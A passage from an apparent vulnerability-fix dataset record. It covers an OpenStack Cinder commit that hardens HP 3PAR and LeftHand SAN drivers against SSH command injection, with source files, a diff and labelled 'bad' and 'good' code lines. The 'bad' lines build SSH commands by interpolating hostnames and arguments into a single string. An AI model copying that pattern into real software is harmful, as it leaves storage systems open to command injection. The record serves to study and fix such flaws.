value['nsp']==nsp: return key def _get_active_nsp(self, hostname): \"\"\"Return the active nsp, if one exists, for the given host.\"\"\" result=self.common._cli_run('showvlun -a -host %s' % hostname, None) if result: result=result[1:] for line in result: info=line.split(\",\") if info and len(info) > 4: return info[4] def _get_least_used_nsp(self, nspss): \"\"\"\"Return the nsp that has the fewest active vluns.\"\"\" result=self.common._cli_run('showvlun -a -showcols Port', None) nsp_counts={} for nsp in nspss: nsp_counts[nsp]=0 current_least_used_nsp=None if result: result=result[1:] for line in result: nsp=line.strip() if nsp in nsp_counts: nsp_counts[nsp]=nsp_counts[nsp] +1 current_smallest_count=sys.maxint for(nsp, count) in nsp_counts.iteritems(): if count < current_smallest_count: current_least_used_nsp=nsp current_smallest_count=count return current_least_used_nsp def extend_volume(self, volume, new_size): self.common.extend_volume(volume, new_size) ", "sourceWithComments": "# vim: tabstop=4 shiftwidth=4 softtabstop=4\n#\n# (c) Copyright 2012-2013 Hewlett-Packard Development Company, L.P.\n# All Rights Reserved.\n#\n# Copyright 2012 OpenStack LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n#\n\"\"\"\nVolume driver for HP 3PAR Storage array.\nThis driver requires 3.1.2 MU2 firmware on the 3PAR array.\n\nYou will need to install the python hp3parclient.\nsudo pip install hp3parclient\n\nSet the following in the cinder.conf file to enable the\n3PAR iSCSI Driver along with the required flags:\n\nvolume_driver=cinder.volume.drivers.san.hp.hp_3par_iscsi.HP3PARISCSIDriver\n\"\"\"\n\nimport sys\n\nfrom hp3parclient import exceptions as hpexceptions\n\nfrom cinder import exception\nfrom cinder.openstack.common import log as logging\nfrom cinder import utils\nimport cinder.volume.driver\nfrom cinder.volume.drivers.san.hp import hp_3par_common as hpcommon\nfrom cinder.volume.drivers.san import san\n\nVERSION = 1.1\nLOG = logging.getLogger(__name__)\nDEFAULT_ISCSI_PORT = 3260\n\n\nclass HP3PARISCSIDriver(cinder.volume.driver.ISCSIDriver):\n \"\"\"OpenStack iSCSI driver to enable 3PAR storage array.\n\n Version history:\n 1.0 - Initial driver\n 1.1 - QoS, extend volume, multiple iscsi ports, remove domain,\n session changes, faster clone, requires 3.1.2 MU2 firmware.\n\n \"\"\"\n def __init__(self, *args, **kwargs):\n super(HP3PARISCSIDriver, self).__init__(*args, **kwargs)\n self.common = None\n self.configuration.append_config_values(hpcommon.hp3par_opts)\n self.configuration.append_config_values(san.san_opts)\n\n def _init_common(self):\n return hpcommon.HP3PARCommon(self.configuration)\n\n def _check_flags(self):\n \"\"\"Sanity check to ensure we have required options set.\"\"\"\n required_flags = ['hp3par_api_url', 'hp3par_username',\n 'hp3par_password', 'san_ip', 'san_login',\n 'san_password']\n self.common.check_flags(self.configuration, required_flags)\n\n @utils.synchronized('3par', external=True)\n def get_volume_stats(self, refresh):\n self.common.client_login()\n stats = self.common.get_volume_stats(refresh)\n stats['storage_protocol'] = 'iSCSI'\n backend_name = self.configuration.safe_get('volume_backend_name')\n stats['volume_backend_name'] = backend_name or self.__class__.__name__\n self.common.client_logout()\n return stats\n\n def do_setup(self, context):\n self.common = self._init_common()\n self._check_flags()\n\n # map iscsi_ip-> ip_port\n # -> iqn\n # -> nsp\n self.iscsi_ips = {}\n temp_iscsi_ip = {}\n\n # use the 3PAR ip_addr list for iSCSI configuration\n if len(self.configuration.hp3par_iscsi_ips) > 0:\n # add port values to ip_addr, if necessary\n for ip_addr in self.configuration.hp3par_iscsi_ips:\n ip = ip_addr.split(':')\n if len(ip) == 1:\n temp_iscsi_ip[ip_addr] = {'ip_port': DEFAULT_ISCSI_PORT}\n elif len(ip) == 2:\n temp_iscsi_ip[ip[0]] = {'ip_port': ip[1]}\n else:\n msg = _(\"Invalid IP address format '%s'\") % ip_addr\n LOG.warn(msg)\n\n # add the single value iscsi_ip_address option to the IP dictionary.\n # This way we can see if it's a valid iSCSI IP. If it's not valid,\n # we won't use it and won't bother to report it, see below\n if (self.configuration.iscsi_ip_address not in temp_iscsi_ip):\n ip = self.configuration.iscsi_ip_address\n ip_port = self.configuration.iscsi_port\n temp_iscsi_ip[ip] = {'ip_port': ip_port}\n\n # get all the valid iSCSI ports from 3PAR\n # when found, add the valid iSCSI ip, ip port, iqn and nsp\n # to the iSCSI IP dictionary\n # ...this will also make sure ssh works.\n iscsi_ports = self.common.get_ports()['iSCSI']\n for (ip, iscsi_info) in iscsi_ports.iteritems():\n if ip in temp_iscsi_ip:\n ip_port = temp_iscsi_ip[ip]['ip_port']\n self.iscsi_ips[ip] = {'ip_port': ip_port,\n 'nsp': iscsi_info['nsp'],\n 'iqn': iscsi_info['iqn']\n }\n del temp_iscsi_ip[ip]\n\n # if the single value iscsi_ip_address option is still in the\n # temp dictionary it's because it defaults to $my_ip which doesn't\n # make sense in this context. So, if present, remove it and move on.\n if (self.configuration.iscsi_ip_address in temp_iscsi_ip):\n del temp_iscsi_ip[self.configuration.iscsi_ip_address]\n\n # lets see if there are invalid iSCSI IPs left in the temp dict\n if len(temp_iscsi_ip) > 0:\n msg = _(\"Found invalid iSCSI IP address(s) in configuration \"\n \"option(s) hp3par_iscsi_ips or iscsi_ip_address '%s.'\") % \\\n (\", \".join(temp_iscsi_ip))\n LOG.warn(msg)\n\n if not len(self.iscsi_ips) > 0:\n msg = _('At least one valid iSCSI IP address must be set.')\n raise exception.InvalidInput(reason=(msg))\n\n self.common.do_setup(context)\n\n def check_for_setup_error(self):\n \"\"\"Returns an error if prerequisites aren't met.\"\"\"\n self._check_flags()\n\n @utils.synchronized('3par', external=True)\n def create_volume(self, volume):\n self.common.client_login()\n metadata = self.common.create_volume(volume)\n self.common.client_logout()\n\n return {'metadata': metadata}\n\n @utils.synchronized('3par', external=True)\n def create_cloned_volume(self, volume, src_vref):\n \"\"\"Clone an existing volume.\"\"\"\n self.common.client_login()\n new_vol = self.common.create_cloned_volume(volume, src_vref)\n self.common.client_logout()\n\n return {'metadata': new_vol}\n\n @utils.synchronized('3par', external=True)\n def delete_volume(self, volume):\n self.common.client_login()\n self.common.delete_volume(volume)\n self.common.client_logout()\n\n @utils.synchronized('3par', external=True)\n def create_volume_from_snapshot(self, volume, snapshot):\n \"\"\"\n Creates a volume from a snapshot.\n\n TODO: support using the size from the user.\n \"\"\"\n self.common.client_login()\n metadata = self.common.create_volume_from_snapshot(volume, snapshot)\n self.common.client_logout()\n return {'metadata': metadata}\n\n @utils.synchronized('3par', external=True)\n def create_snapshot(self, snapshot):\n self.common.client_login()\n self.common.create_snapshot(snapshot)\n self.common.client_logout()\n\n @utils.synchronized('3par', external=True)\n def delete_snapshot(self, snapshot):\n self.common.client_login()\n self.common.delete_snapshot(snapshot)\n self.common.client_logout()\n\n @utils.synchronized('3par', external=True)\n def initialize_connection(self, volume, connector):\n \"\"\"Assigns the volume to a server.\n\n Assign any created volume to a compute node/host so that it can be\n used from that host.\n\n This driver returns a driver_volume_type of 'iscsi'.\n The format of the driver data is defined in _get_iscsi_properties.\n Example return value:\n\n {\n 'driver_volume_type': 'iscsi'\n 'data': {\n 'target_discovered': True,\n 'target_iqn': 'iqn.2010-10.org.openstack:volume-00000001',\n 'target_protal': '127.0.0.1:3260',\n 'volume_id': 1,\n }\n }\n\n Steps to export a volume on 3PAR\n * Get the 3PAR iSCSI iqn\n * Create a host on the 3par\n * create vlun on the 3par\n \"\"\"\n self.common.client_login()\n\n # we have to make sure we have a host\n host = self._create_host(volume, connector)\n\n # now that we have a host, create the VLUN\n vlun = self.common.create_vlun(volume, host)\n\n self.common.client_logout()\n\n iscsi_ip = self._get_iscsi_ip(host['name'])\n iscsi_ip_port = self.iscsi_ips[iscsi_ip]['ip_port']\n iscsi_target_iqn = self.iscsi_ips[iscsi_ip]['iqn']\n info = {'driver_volume_type': 'iscsi',\n 'data': {'target_portal': \"%s:%s\" %\n (iscsi_ip, iscsi_ip_port),\n 'target_iqn': iscsi_target_iqn,\n 'target_lun': vlun['lun'],\n 'target_discovered': True\n }\n }\n return info\n\n @utils.synchronized('3par', external=True)\n def terminate_connection(self, volume, connector, **kwargs):\n \"\"\"Driver entry point to unattach a volume from an instance.\"\"\"\n self.common.client_login()\n self.common.terminate_connection(volume,\n connector['host'],\n connector['initiator'])\n self.common.client_logout()\n\n def _create_3par_iscsi_host(self, hostname, iscsi_iqn, domain, persona_id):\n \"\"\"Create a 3PAR host.\n\n Create a 3PAR host, if there is already a host on the 3par using\n the same iqn but with a different hostname, return the hostname\n used by 3PAR.\n \"\"\"\n cmd = 'createhost -iscsi -persona %s -domain %s %s %s' % \\\n (persona_id, domain, hostname, iscsi_iqn)\n out = self.common._cli_run(cmd, None)\n if out and len(out) > 1:\n return self.common.parse_create_host_error(hostname, out)\n return hostname\n\n def _modify_3par_iscsi_host(self, hostname, iscsi_iqn):\n # when using -add, you can not send the persona or domain options\n self.common._cli_run('createhost -iscsi -add %s %s'\n % (hostname, iscsi_iqn), None)\n\n def _create_host(self, volume, connector):\n \"\"\"Creates or modifies existing 3PAR host.\"\"\"\n # make sure we don't have the host already\n host = None\n hostname = self.common._safe_hostname(connector['host'])\n cpg = self.common.get_cpg(volume, allowSnap=True)\n domain = self.common.get_domain(cpg)\n try:\n host = self.common._get_3par_host(hostname)\n if not host['iSCSIPaths']:\n self._modify_3par_iscsi_host(hostname, connector['initiator'])\n host = self.common._get_3par_host(hostname)\n except hpexceptions.HTTPNotFound:\n # get persona from the volume type extra specs\n persona_id = self.common.get_persona_type(volume)\n # host doesn't exist, we have to create it\n hostname = self._create_3par_iscsi_host(hostname,\n connector['initiator'],\n domain,\n persona_id)\n host = self.common._get_3par_host(hostname)\n\n return host\n\n @utils.synchronized('3par', external=True)\n def create_export(self, context, volume):\n pass\n\n @utils.synchronized('3par', external=True)\n def ensure_export(self, context, volume):\n pass\n\n @utils.synchronized('3par', external=True)\n def remove_export(self, context, volume):\n pass\n\n def _get_iscsi_ip(self, hostname):\n \"\"\"Get an iSCSI IP address to use.\n\n Steps to determine which IP address to use.\n * If only one IP address, return it\n * If there is an active vlun, return the IP associated with it\n * Return IP with fewest active vluns\n \"\"\"\n if len(self.iscsi_ips) == 1:\n return self.iscsi_ips.keys()[0]\n\n # if we currently have an active port, use it\n nsp = self._get_active_nsp(hostname)\n\n if nsp is None:\n # no active vlun, find least busy port\n nsp = self._get_least_used_nsp(self._get_iscsi_nsps())\n if nsp is None:\n msg = _(\"Least busy iSCSI port not found, \"\n \"using first iSCSI port in list.\")\n LOG.warn(msg)\n return self.iscsi_ips.keys()[0]\n\n return self._get_ip_using_nsp(nsp)\n\n def _get_iscsi_nsps(self):\n \"\"\"Return the list of candidate nsps.\"\"\"\n nsps = []\n for value in self.iscsi_ips.values():\n nsps.append(value['nsp'])\n return nsps\n\n def _get_ip_using_nsp(self, nsp):\n \"\"\"Return IP assiciated with given nsp.\"\"\"\n for (key, value) in self.iscsi_ips.items():\n if value['nsp'] == nsp:\n return key\n\n def _get_active_nsp(self, hostname):\n \"\"\"Return the active nsp, if one exists, for the given host.\"\"\"\n result = self.common._cli_run('showvlun -a -host %s' % hostname, None)\n if result:\n # first line is header\n result = result[1:]\n for line in result:\n info = line.split(\",\")\n if info and len(info) > 4:\n return info[4]\n\n def _get_least_used_nsp(self, nspss):\n \"\"\"\"Return the nsp that has the fewest active vluns.\"\"\"\n # return only the nsp (node:server:port)\n result = self.common._cli_run('showvlun -a -showcols Port', None)\n\n # count the number of nsps (there is 1 for each active vlun)\n nsp_counts = {}\n for nsp in nspss:\n # initialize counts to zero\n nsp_counts[nsp] = 0\n\n current_least_used_nsp = None\n if result:\n # first line is header\n result = result[1:]\n for line in result:\n nsp = line.strip()\n if nsp in nsp_counts:\n nsp_counts[nsp] = nsp_counts[nsp] + 1\n\n # identify key (nsp) of least used nsp\n current_smallest_count = sys.maxint\n for (nsp, count) in nsp_counts.iteritems():\n if count < current_smallest_count:\n current_least_used_nsp = nsp\n current_smallest_count = count\n\n return current_least_used_nsp\n\n def extend_volume(self, volume, new_size):\n self.common.extend_volume(volume, new_size)\n"}, "/cinder/volume/drivers/san/hp_lefthand.py": {"changes": [{"diff": "\n \n def _cliq_run(self, verb, cliq_args, check_exit_code=True):\n \"\"\"Runs a CLIQ command over SSH, without doing any result parsing\"\"\"\n- cliq_arg_strings = []\n+ cmd_list = [verb]\n for k, v in cliq_args.items():\n- cliq_arg_strings.append(\" %s=%s\" % (k, v))\n- cmd = verb + ''.join(cliq_arg_strings)\n+ cmd_list.append(\"%s=%s\" % (k, v))\n \n- return self._run_ssh(cmd, check_exit_code)\n+ return self._run_ssh(cmd_list, check_exit_code)\n \n def _cliq_run_xml(self, verb, cliq_args, check_cliq_result=True):\n \"\"\"Runs a CLIQ command over SSH, parsing and checking the output\"\"\"\n", "add": 3, "remove": 4, "filename": "/cinder/volume/drivers/san/hp_lefthand.py", "badparts": [" cliq_arg_strings = []", " cliq_arg_strings.append(\" %s=%s\" % (k, v))", " cmd = verb + ''.join(cliq_arg_strings)", " return self._run_ssh(cmd, check_exit_code)"], "goodparts": [" cmd_list = [verb]", " cmd_list.append(\"%s=%s\" % (k, v))", " return self._run_ssh(cmd_list, check_exit_code)"]}], "source": "\n \"\"\" HP Lefthand SAN ISCSI Driver. The driver communicates to the backend aka Cliq via SSH to perform all the operations on the SAN. \"\"\" from lxml import etree from cinder import exception from cinder.openstack.common import log as logging from cinder.volume.drivers.san.san import SanISCSIDriver LOG=logging.getLogger(__name__) class HpSanISCSIDriver(SanISCSIDriver): \"\"\"Executes commands relating to HP/Lefthand SAN ISCSI volumes. We use the CLIQ interface, over SSH. Rough overview of CLIQ commands used: :createVolume: (creates the volume) :getVolumeInfo: (to discover the IQN etc) :getClusterInfo: (to discover the iSCSI target IP address) :assignVolumeChap: (exports it with CHAP security) The 'trick' here is that the HP SAN enforces security by default, so normally a volume mount would need both to configure the SAN in the volume layer and do the mount on the compute layer. Multi-layer operations are not catered for at the moment in the cinder architecture, so instead we share the volume using CHAP at volume creation time. Then the mount need only use those CHAP credentials, so can take place exclusively in the compute layer. \"\"\" device_stats={} def __init__(self, *args, **kwargs): super(HpSanISCSIDriver, self).__init__(*args, **kwargs) self.cluster_vip=None def _cliq_run(self, verb, cliq_args, check_exit_code=True): \"\"\"Runs a CLIQ command over SSH, without doing any result parsing\"\"\" cliq_arg_strings=[] for k, v in cliq_args.items(): cliq_arg_strings.append(\" %s=%s\" %(k, v)) cmd=verb +''.join(cliq_arg_strings) return self._run_ssh(cmd, check_exit_code) def _cliq_run_xml(self, verb, cliq_args, check_cliq_result=True): \"\"\"Runs a CLIQ command over SSH, parsing and checking the output\"\"\" cliq_args['output']='XML' (out, _err)=self._cliq_run(verb, cliq_args, check_cliq_result) LOG.debug(_(\"CLIQ command returned %s\"), out) result_xml=etree.fromstring(out) if check_cliq_result: response_node=result_xml.find(\"response\") if response_node is None: msg=(_(\"Malformed response to CLIQ command \" \"%(verb)s %(cliq_args)s. Result=%(out)s\") % {'verb': verb, 'cliq_args': cliq_args, 'out': out}) raise exception.VolumeBackendAPIException(data=msg) result_code=response_node.attrib.get(\"result\") if result_code !=\"0\": msg=(_(\"Error running CLIQ command %(verb)s %(cliq_args)s. \" \" Result=%(out)s\") % {'verb': verb, 'cliq_args': cliq_args, 'out': out}) raise exception.VolumeBackendAPIException(data=msg) return result_xml def _cliq_get_cluster_info(self, cluster_name): \"\"\"Queries for info about the cluster(including IP)\"\"\" cliq_args={} cliq_args['clusterName']=cluster_name cliq_args['searchDepth']='1' cliq_args['verbose']='0' result_xml=self._cliq_run_xml(\"getClusterInfo\", cliq_args) return result_xml def _cliq_get_cluster_vip(self, cluster_name): \"\"\"Gets the IP on which a cluster shares iSCSI volumes\"\"\" cluster_xml=self._cliq_get_cluster_info(cluster_name) vips=[] for vip in cluster_xml.findall(\"response/cluster/vip\"): vips.append(vip.attrib.get('ipAddress')) if len(vips)==1: return vips[0] _xml=etree.tostring(cluster_xml) msg=(_(\"Unexpected number of virtual ips for cluster \" \" %(cluster_name)s. Result=%(_xml)s\") % {'cluster_name': cluster_name, '_xml': _xml}) raise exception.VolumeBackendAPIException(data=msg) def _cliq_get_volume_info(self, volume_name): \"\"\"Gets the volume info, including IQN\"\"\" cliq_args={} cliq_args['volumeName']=volume_name result_xml=self._cliq_run_xml(\"getVolumeInfo\", cliq_args) volume_attributes={} volume_node=result_xml.find(\"response/volume\") for k, v in volume_node.attrib.items(): volume_attributes[\"volume.\" +k]=v status_node=volume_node.find(\"status\") if status_node is not None: for k, v in status_node.attrib.items(): volume_attributes[\"status.\" +k]=v permission_node=volume_node.find(\"permission\") if permission_node is not None: for k, v in status_node.attrib.items(): volume_attributes[\"permission.\" +k]=v LOG.debug(_(\"Volume info: %(volume_name)s=> %(volume_attributes)s\") % {'volume_name': volume_name, 'volume_attributes': volume_attributes}) return volume_attributes def create_volume(self, volume): \"\"\"Creates a volume.\"\"\" cliq_args={} cliq_args['clusterName']=self.configuration.san_clustername if self.configuration.san_thin_provision: cliq_args['thinProvision']='1' else: cliq_args['thinProvision']='0' cliq_args['volumeName']=volume['name'] if int(volume['size'])==0: cliq_args['size']='100MB' else: cliq_args['size']='%sGB' % volume['size'] self._cliq_run_xml(\"createVolume\", cliq_args) volume_info=self._cliq_get_volume_info(volume['name']) cluster_name=volume_info['volume.clusterName'] iscsi_iqn=volume_info['volume.iscsiIqn'] cluster_interface='1' if not self.cluster_vip: self.cluster_vip=self._cliq_get_cluster_vip(cluster_name) iscsi_portal=self.cluster_vip +\":3260,\" +cluster_interface model_update={} model_update['provider_location']=(\"%s %s %s\" % (iscsi_portal, iscsi_iqn, 0)) return model_update def create_volume_from_snapshot(self, volume, snapshot): \"\"\"Creates a volume from a snapshot.\"\"\" raise NotImplementedError() def create_snapshot(self, snapshot): \"\"\"Creates a snapshot.\"\"\" raise NotImplementedError() def delete_volume(self, volume): \"\"\"Deletes a volume.\"\"\" cliq_args={} cliq_args['volumeName']=volume['name'] cliq_args['prompt']='false' try: volume_info=self._cliq_get_volume_info(volume['name']) except exception.ProcessExecutionError: LOG.error(\"Volume did not exist. It will not be deleted\") return self._cliq_run_xml(\"deleteVolume\", cliq_args) def local_path(self, volume): msg=_(\"local_path not supported\") raise exception.VolumeBackendAPIException(data=msg) def initialize_connection(self, volume, connector): \"\"\"Assigns the volume to a server. Assign any created volume to a compute node/host so that it can be used from that host. HP VSA requires a volume to be assigned to a server. This driver returns a driver_volume_type of 'iscsi'. The format of the driver data is defined in _get_iscsi_properties. Example return value: { 'driver_volume_type': 'iscsi' 'data':{ 'target_discovered': True, 'target_iqn': 'iqn.2010-10.org.openstack:volume-00000001', 'target_protal': '127.0.0.1:3260', 'volume_id': 1, } } \"\"\" self._create_server(connector) cliq_args={} cliq_args['volumeName']=volume['name'] cliq_args['serverName']=connector['host'] self._cliq_run_xml(\"assignVolumeToServer\", cliq_args) iscsi_properties=self._get_iscsi_properties(volume) return{ 'driver_volume_type': 'iscsi', 'data': iscsi_properties } def _create_server(self, connector): cliq_args={} cliq_args['serverName']=connector['host'] out=self._cliq_run_xml(\"getServerInfo\", cliq_args, False) response=out.find(\"response\") result=response.attrib.get(\"result\") if result !='0': cliq_args={} cliq_args['serverName']=connector['host'] cliq_args['initiator']=connector['initiator'] self._cliq_run_xml(\"createServer\", cliq_args) def terminate_connection(self, volume, connector, **kwargs): \"\"\"Unassign the volume from the host.\"\"\" cliq_args={} cliq_args['volumeName']=volume['name'] cliq_args['serverName']=connector['host'] self._cliq_run_xml(\"unassignVolumeToServer\", cliq_args) def get_volume_stats(self, refresh): if refresh: self._update_backend_status() return self.device_stats def _update_backend_status(self): data={} backend_name=self.configuration.safe_get('volume_backend_name') data['volume_backend_name']=backend_name or self.__class__.__name__ data['driver_version']='1.0' data['reserved_percentage']=0 data['storage_protocol']='iSCSI' data['vendor_name']='Hewlett-Packard' result_xml=self._cliq_run_xml(\"getClusterInfo\",{}) cluster_node=result_xml.find(\"response/cluster\") total_capacity=cluster_node.attrib.get(\"spaceTotal\") free_capacity=cluster_node.attrib.get(\"unprovisionedSpace\") GB=1073741824 data['total_capacity_gb']=int(total_capacity) / GB data['free_capacity_gb']=int(free_capacity) / GB self.device_stats=data ", "sourceWithComments": "# Copyright 2012 OpenStack LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\"\"\"\nHP Lefthand SAN ISCSI Driver.\n\nThe driver communicates to the backend aka Cliq via SSH to perform all the\noperations on the SAN.\n\"\"\"\nfrom lxml import etree\n\nfrom cinder import exception\nfrom cinder.openstack.common import log as logging\nfrom cinder.volume.drivers.san.san import SanISCSIDriver\n\n\nLOG = logging.getLogger(__name__)\n\n\nclass HpSanISCSIDriver(SanISCSIDriver):\n \"\"\"Executes commands relating to HP/Lefthand SAN ISCSI volumes.\n\n We use the CLIQ interface, over SSH.\n\n Rough overview of CLIQ commands used:\n\n :createVolume: (creates the volume)\n\n :getVolumeInfo: (to discover the IQN etc)\n\n :getClusterInfo: (to discover the iSCSI target IP address)\n\n :assignVolumeChap: (exports it with CHAP security)\n\n The 'trick' here is that the HP SAN enforces security by default, so\n normally a volume mount would need both to configure the SAN in the volume\n layer and do the mount on the compute layer. Multi-layer operations are\n not catered for at the moment in the cinder architecture, so instead we\n share the volume using CHAP at volume creation time. Then the mount need\n only use those CHAP credentials, so can take place exclusively in the\n compute layer.\n \"\"\"\n\n device_stats = {}\n\n def __init__(self, *args, **kwargs):\n super(HpSanISCSIDriver, self).__init__(*args, **kwargs)\n self.cluster_vip = None\n\n def _cliq_run(self, verb, cliq_args, check_exit_code=True):\n \"\"\"Runs a CLIQ command over SSH, without doing any result parsing\"\"\"\n cliq_arg_strings = []\n for k, v in cliq_args.items():\n cliq_arg_strings.append(\" %s=%s\" % (k, v))\n cmd = verb + ''.join(cliq_arg_strings)\n\n return self._run_ssh(cmd, check_exit_code)\n\n def _cliq_run_xml(self, verb, cliq_args, check_cliq_result=True):\n \"\"\"Runs a CLIQ command over SSH, parsing and checking the output\"\"\"\n cliq_args['output'] = 'XML'\n (out, _err) = self._cliq_run(verb, cliq_args, check_cliq_result)\n\n LOG.debug(_(\"CLIQ command returned %s\"), out)\n\n result_xml = etree.fromstring(out)\n if check_cliq_result:\n response_node = result_xml.find(\"response\")\n if response_node is None:\n msg = (_(\"Malformed response to CLIQ command \"\n \"%(verb)s %(cliq_args)s. Result=%(out)s\") %\n {'verb': verb, 'cliq_args': cliq_args, 'out': out})\n raise exception.VolumeBackendAPIException(data=msg)\n\n result_code = response_node.attrib.get(\"result\")\n\n if result_code != \"0\":\n msg = (_(\"Error running CLIQ command %(verb)s %(cliq_args)s. \"\n \" Result=%(out)s\") %\n {'verb': verb, 'cliq_args': cliq_args, 'out': out})\n raise exception.VolumeBackendAPIException(data=msg)\n\n return result_xml\n\n def _cliq_get_cluster_info(self, cluster_name):\n \"\"\"Queries for info about the cluster (including IP)\"\"\"\n cliq_args = {}\n cliq_args['clusterName'] = cluster_name\n cliq_args['searchDepth'] = '1'\n cliq_args['verbose'] = '0'\n\n result_xml = self._cliq_run_xml(\"getClusterInfo\", cliq_args)\n\n return result_xml\n\n def _cliq_get_cluster_vip(self, cluster_name):\n \"\"\"Gets the IP on which a cluster shares iSCSI volumes\"\"\"\n cluster_xml = self._cliq_get_cluster_info(cluster_name)\n\n vips = []\n for vip in cluster_xml.findall(\"response/cluster/vip\"):\n vips.append(vip.attrib.get('ipAddress'))\n\n if len(vips) == 1:\n return vips[0]\n\n _xml = etree.tostring(cluster_xml)\n msg = (_(\"Unexpected number of virtual ips for cluster \"\n \" %(cluster_name)s. Result=%(_xml)s\") %\n {'cluster_name': cluster_name, '_xml': _xml})\n raise exception.VolumeBackendAPIException(data=msg)\n\n def _cliq_get_volume_info(self, volume_name):\n \"\"\"Gets the volume info, including IQN\"\"\"\n cliq_args = {}\n cliq_args['volumeName'] = volume_name\n result_xml = self._cliq_run_xml(\"getVolumeInfo\", cliq_args)\n\n # Result looks like this:\n #\n # \n # \n # \n # \n # \n # \n #\n\n # Flatten the nodes into a dictionary; use prefixes to avoid collisions\n volume_attributes = {}\n\n volume_node = result_xml.find(\"response/volume\")\n for k, v in volume_node.attrib.items():\n volume_attributes[\"volume.\" + k] = v\n\n status_node = volume_node.find(\"status\")\n if status_node is not None:\n for k, v in status_node.attrib.items():\n volume_attributes[\"status.\" + k] = v\n\n # We only consider the first permission node\n permission_node = volume_node.find(\"permission\")\n if permission_node is not None:\n for k, v in status_node.attrib.items():\n volume_attributes[\"permission.\" + k] = v\n\n LOG.debug(_(\"Volume info: %(volume_name)s => %(volume_attributes)s\") %\n {'volume_name': volume_name,\n 'volume_attributes': volume_attributes})\n return volume_attributes\n\n def create_volume(self, volume):\n \"\"\"Creates a volume.\"\"\"\n cliq_args = {}\n cliq_args['clusterName'] = self.configuration.san_clustername\n\n if self.configuration.san_thin_provision:\n cliq_args['thinProvision'] = '1'\n else:\n cliq_args['thinProvision'] = '0'\n\n cliq_args['volumeName'] = volume['name']\n if int(volume['size']) == 0:\n cliq_args['size'] = '100MB'\n else:\n cliq_args['size'] = '%sGB' % volume['size']\n\n self._cliq_run_xml(\"createVolume\", cliq_args)\n\n volume_info = self._cliq_get_volume_info(volume['name'])\n cluster_name = volume_info['volume.clusterName']\n iscsi_iqn = volume_info['volume.iscsiIqn']\n\n #TODO(justinsb): Is this always 1? Does it matter?\n cluster_interface = '1'\n\n if not self.cluster_vip:\n self.cluster_vip = self._cliq_get_cluster_vip(cluster_name)\n iscsi_portal = self.cluster_vip + \":3260,\" + cluster_interface\n\n model_update = {}\n\n # NOTE(jdg): LH volumes always at lun 0 ?\n model_update['provider_location'] = (\"%s %s %s\" %\n (iscsi_portal,\n iscsi_iqn,\n 0))\n\n return model_update\n\n def create_volume_from_snapshot(self, volume, snapshot):\n \"\"\"Creates a volume from a snapshot.\"\"\"\n raise NotImplementedError()\n\n def create_snapshot(self, snapshot):\n \"\"\"Creates a snapshot.\"\"\"\n raise NotImplementedError()\n\n def delete_volume(self, volume):\n \"\"\"Deletes a volume.\"\"\"\n cliq_args = {}\n cliq_args['volumeName'] = volume['name']\n cliq_args['prompt'] = 'false' # Don't confirm\n try:\n volume_info = self._cliq_get_volume_info(volume['name'])\n except exception.ProcessExecutionError:\n LOG.error(\"Volume did not exist. It will not be deleted\")\n return\n self._cliq_run_xml(\"deleteVolume\", cliq_args)\n\n def local_path(self, volume):\n msg = _(\"local_path not supported\")\n raise exception.VolumeBackendAPIException(data=msg)\n\n def initialize_connection(self, volume, connector):\n \"\"\"Assigns the volume to a server.\n\n Assign any created volume to a compute node/host so that it can be\n used from that host. HP VSA requires a volume to be assigned\n to a server.\n\n This driver returns a driver_volume_type of 'iscsi'.\n The format of the driver data is defined in _get_iscsi_properties.\n Example return value:\n\n {\n 'driver_volume_type': 'iscsi'\n 'data': {\n 'target_discovered': True,\n 'target_iqn': 'iqn.2010-10.org.openstack:volume-00000001',\n 'target_protal': '127.0.0.1:3260',\n 'volume_id': 1,\n }\n }\n\n \"\"\"\n self._create_server(connector)\n cliq_args = {}\n cliq_args['volumeName'] = volume['name']\n cliq_args['serverName'] = connector['host']\n self._cliq_run_xml(\"assignVolumeToServer\", cliq_args)\n\n iscsi_properties = self._get_iscsi_properties(volume)\n return {\n 'driver_volume_type': 'iscsi',\n 'data': iscsi_properties\n }\n\n def _create_server(self, connector):\n cliq_args = {}\n cliq_args['serverName'] = connector['host']\n out = self._cliq_run_xml(\"getServerInfo\", cliq_args, False)\n response = out.find(\"response\")\n result = response.attrib.get(\"result\")\n if result != '0':\n cliq_args = {}\n cliq_args['serverName'] = connector['host']\n cliq_args['initiator'] = connector['initiator']\n self._cliq_run_xml(\"createServer\", cliq_args)\n\n def terminate_connection(self, volume, connector, **kwargs):\n \"\"\"Unassign the volume from the host.\"\"\"\n cliq_args = {}\n cliq_args['volumeName'] = volume['name']\n cliq_args['serverName'] = connector['host']\n self._cliq_run_xml(\"unassignVolumeToServer\", cliq_args)\n\n def get_volume_stats(self, refresh):\n if refresh:\n self._update_backend_status()\n\n return self.device_stats\n\n def _update_backend_status(self):\n data = {}\n backend_name = self.configuration.safe_get('volume_backend_name')\n data['volume_backend_name'] = backend_name or self.__class__.__name__\n data['driver_version'] = '1.0'\n data['reserved_percentage'] = 0\n data['storage_protocol'] = 'iSCSI'\n data['vendor_name'] = 'Hewlett-Packard'\n\n result_xml = self._cliq_run_xml(\"getClusterInfo\", {})\n cluster_node = result_xml.find(\"response/cluster\")\n total_capacity = cluster_node.attrib.get(\"spaceTotal\")\n free_capacity = cluster_node.attrib.get(\"unprovisionedSpace\")\n GB = 1073741824\n\n data['total_capacity_gb'] = int(total_capacity) / GB\n data['free_capacity_gb'] = int(free_capacity) / GB\n self.device_stats = data\n"}}, "msg": "Tidy up the SSH call to avoid injection attacks for HP's driver\n\nLet the command and arguments form up a list and avoid the extra arguments\nattackers inserted to the command string.\n\nAnd modify the interface of _cli_run, there is no need for a extra argument.\n\nfix bug 1192971\nChange-Id: 